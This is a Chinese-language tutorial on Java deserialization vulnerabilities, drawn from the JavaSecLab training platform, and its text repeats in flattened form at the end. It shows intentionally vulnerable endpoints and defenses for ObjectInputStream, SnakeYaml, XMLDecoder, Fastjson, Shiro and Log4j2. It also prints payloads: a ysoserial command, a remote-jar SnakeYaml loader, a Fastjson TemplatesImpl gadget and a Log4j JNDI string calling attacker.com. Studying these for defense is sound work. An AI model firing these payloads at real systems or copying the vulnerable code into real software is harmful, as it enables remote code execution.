基于JavaSecLab 一款综合Java漏洞平台的学习思考(二)
字数 1581 2025-08-22 12:22:37

Java反序列化漏洞全面解析与防御指南

一、反序列化基础概念

1.1 序列化与反序列化

序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中。使用ObjectOutputStream类的writeObject()方法实现。

反序列化:把字节序列恢复为Java对象的过程,使用ObjectInputStream类的readObject()方法实现。

1.2 反序列化漏洞原理

攻击者通过受影响的接口直接或间接传入恶意的反序列化对象,造成任意代码执行。Java中反序列化漏洞可分为:

  • 原生反序列化类:ObjectInputStream.readObject()SnakeYamlXMLDecoder
  • 三方组件反序列化:FastjsonJacksonXstream

二、原生反序列化漏洞

2.1 ObjectInputStream.readObject()漏洞

漏洞代码示例

public R vul(String payload) {
    try {
        payload = payload.replace("\\n", "");
        byte[] bytes = Base64.getDecoder().decode(payload);
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        ObjectInputStream in = new ObjectInputStream(stream);
        in.readObject();
        in.close();
        return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
    } catch (Exception e) {
        return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
    }
}

攻击利用

  1. 使用ysoserial生成payload:
java -jar ysoserial-all.jar CommonsCollections5 "open -a Calculator" | base64

防御措施

  1. 禁用不安全反序列化
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
  1. 使用黑白名单控制(Apache Commons IO的ValidatingObjectInputStream):
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
ois.reject(java.lang.Runtime.class);
ois.reject(java.lang.ProcessBuilder.class);
ois.accept(Sqli.class); // 只允许反序列化特定类

2.2 SnakeYaml漏洞

漏洞原理

SnakeYAML在反序列化时可以通过!!+全类名指定反序列化的类,实例化过程中可能执行恶意代码。

漏洞代码

public R vul(String payload) {
    Yaml y = new Yaml();
    y.load(payload);
    return R.ok("[+]Java反序列化:SnakeYaml");
}

恶意payload示例

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]
  ]]
]

防御措施

使用SafeConstructor

Yaml y = new Yaml(new SafeConstructor());

2.3 XMLDecoder漏洞

漏洞原理

XMLDecoder解析恶意构造的XML时可能执行任意命令。

漏洞代码示例

public R vul(String payload) {
    String[] strCmd = payload.split(" ");
    StringBuilder xml = new StringBuilder()
        .append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
        .append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">")
        .append("<object class=\"java.lang.ProcessBuilder\">")
        .append("<array class=\"java.lang.String\" length=\"").append(strCmd.length).append("\">");
    for (int i = 0; i < strCmd.length; i++) {
        xml.append("<void index=\"").append(i).append("\"><string>")
           .append(strCmd[i]).append("</string></void>");
    }
    xml.append("</array><void method=\"start\" /></object></java>");
    
    try {
        new XMLDecoder(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)))
            .readObject().toString();
        return R.ok("命令执行成功");
    } catch (Exception e) {
        return R.error("命令执行失败: " + e.getMessage());
    }
}

恶意XML示例

<java version="1.8.0_131" class="java.beans.XMLDecoder">
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="1">
      <void index="0"><string>calc</string></void>
    </array>
    <void method="start"></void>
  </object>
</java>

防御措施

使用SAX解析器替代XMLDecoder:

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
CommandHandler handler = new CommandHandler();
InputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)));
saxParser.parse(inputSource, handler);

三、组件反序列化漏洞

3.1 Fastjson反序列化漏洞

漏洞原理

Fastjson在解析JSON时通过@type指定反序列化类,可能触发恶意代码执行。

漏洞代码

public String vul(@RequestBody String content) {
    try {
        JSONObject jsonObject = JSON.parseObject(content);
        return jsonObject.toString();
    } catch (Exception e) {
        return e.getMessage();
    }
}

攻击示例

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["yv66vgAAADIANAoABwAl..."],
    "_name":"a.b",
    "_tfactory":{},
    "_outputProperties":{}
}

防御措施

  1. 升级到1.2.83及以上版本
  2. 禁用AutoType或设置白名单:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 或
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("top.whgojp.WhiteListClass");
  1. 启用SafeMode:
ParserConfig.getGlobalInstance().setSafeMode(true);

3.2 Shiro反序列化漏洞

漏洞原理

Shiro默认使用硬编码AES密钥加密remember-me cookie,攻击者可构造恶意序列化对象。

漏洞利用流程

  1. 获取Shiro默认密钥:
byte[] key = new CookieRememberMeManager().getCipherKey();
  1. 构造恶意序列化对象
  2. 使用AES加密后作为cookie发送

防御措施

  1. 升级Shiro版本
  2. 修改默认加密密钥

3.3 Log4j2反序列化漏洞

漏洞原理

Log4j2在日志输出中检测到${}时会调用lookup查询,可能触发JNDI注入。

漏洞代码

public String vul(String payload) {
    logger.error(payload);
    return "[+]Log4j2反序列化:"+payload;
}

恶意payload

${jndi:ldap://attacker.com/test}

防御措施

  1. 升级Log4j至2.15.0及以上版本
  2. 修改配置文件:
log4j2.formatMsgNoLookups=True

3.4 XStream反序列化漏洞

漏洞原理

XStream支持的特殊标签(如dynamic-proxy)可能触发任意代码执行。

防御措施

  1. 升级XStream版本
  2. 配置安全框架限制可反序列化的类

四、总结与最佳实践

4.1 代码审计关键点

  1. JDK(ObjectInputStream.readObject)
  2. XMLDecoder.readObject
  3. Yaml.load
  4. XStream.fromXML
  5. ObjectMapper.readValue
  6. JSON.parseObject

4.2 安全编码规范

  1. 及时升级组件到最新安全版本
  2. 禁用不必要的反序列化功能
  3. 实施严格的白名单机制
  4. 对用户输入进行严格过滤
  5. 使用安全替代方案(如SAX替代XMLDecoder)

4.3 漏洞检测方法

  1. 使用DNS盲打检测Fastjson等漏洞
  2. 检查默认密钥和配置
  3. 监控异常日志和网络请求

通过全面理解这些反序列化漏洞的原理和防御措施,开发者可以构建更加安全的Java应用程序,有效防范反序列化攻击。

Java反序列化漏洞全面解析与防御指南 一、反序列化基础概念 1.1 序列化与反序列化 序列化 :将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中。使用 ObjectOutputStream 类的 writeObject() 方法实现。 反序列化 :把字节序列恢复为Java对象的过程,使用 ObjectInputStream 类的 readObject() 方法实现。 1.2 反序列化漏洞原理 攻击者通过受影响的接口直接或间接传入恶意的反序列化对象,造成任意代码执行。Java中反序列化漏洞可分为: 原生反序列化类: ObjectInputStream.readObject() 、 SnakeYaml 、 XMLDecoder 三方组件反序列化: Fastjson 、 Jackson 、 Xstream 等 二、原生反序列化漏洞 2.1 ObjectInputStream.readObject()漏洞 漏洞代码示例 攻击利用 使用ysoserial生成payload: 防御措施 禁用不安全反序列化 : 使用黑白名单控制 (Apache Commons IO的ValidatingObjectInputStream): 2.2 SnakeYaml漏洞 漏洞原理 SnakeYAML在反序列化时可以通过 !! +全类名指定反序列化的类,实例化过程中可能执行恶意代码。 漏洞代码 恶意payload示例 防御措施 使用 SafeConstructor : 2.3 XMLDecoder漏洞 漏洞原理 XMLDecoder解析恶意构造的XML时可能执行任意命令。 漏洞代码示例 恶意XML示例 防御措施 使用SAX解析器替代XMLDecoder: 三、组件反序列化漏洞 3.1 Fastjson反序列化漏洞 漏洞原理 Fastjson在解析JSON时通过 @type 指定反序列化类,可能触发恶意代码执行。 漏洞代码 攻击示例 防御措施 升级到1.2.83及以上版本 禁用AutoType或设置白名单: 启用SafeMode: 3.2 Shiro反序列化漏洞 漏洞原理 Shiro默认使用硬编码AES密钥加密remember-me cookie,攻击者可构造恶意序列化对象。 漏洞利用流程 获取Shiro默认密钥: 构造恶意序列化对象 使用AES加密后作为cookie发送 防御措施 升级Shiro版本 修改默认加密密钥 3.3 Log4j2反序列化漏洞 漏洞原理 Log4j2在日志输出中检测到 ${} 时会调用lookup查询,可能触发JNDI注入。 漏洞代码 恶意payload 防御措施 升级Log4j至2.15.0及以上版本 修改配置文件: 3.4 XStream反序列化漏洞 漏洞原理 XStream支持的特殊标签(如 dynamic-proxy )可能触发任意代码执行。 防御措施 升级XStream版本 配置安全框架限制可反序列化的类 四、总结与最佳实践 4.1 代码审计关键点 JDK( ObjectInputStream.readObject ) XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject 4.2 安全编码规范 及时升级组件到最新安全版本 禁用不必要的反序列化功能 实施严格的白名单机制 对用户输入进行严格过滤 使用安全替代方案(如SAX替代XMLDecoder) 4.3 漏洞检测方法 使用DNS盲打检测Fastjson等漏洞 检查默认密钥和配置 监控异常日志和网络请求 通过全面理解这些反序列化漏洞的原理和防御措施,开发者可以构建更加安全的Java应用程序,有效防范反序列化攻击。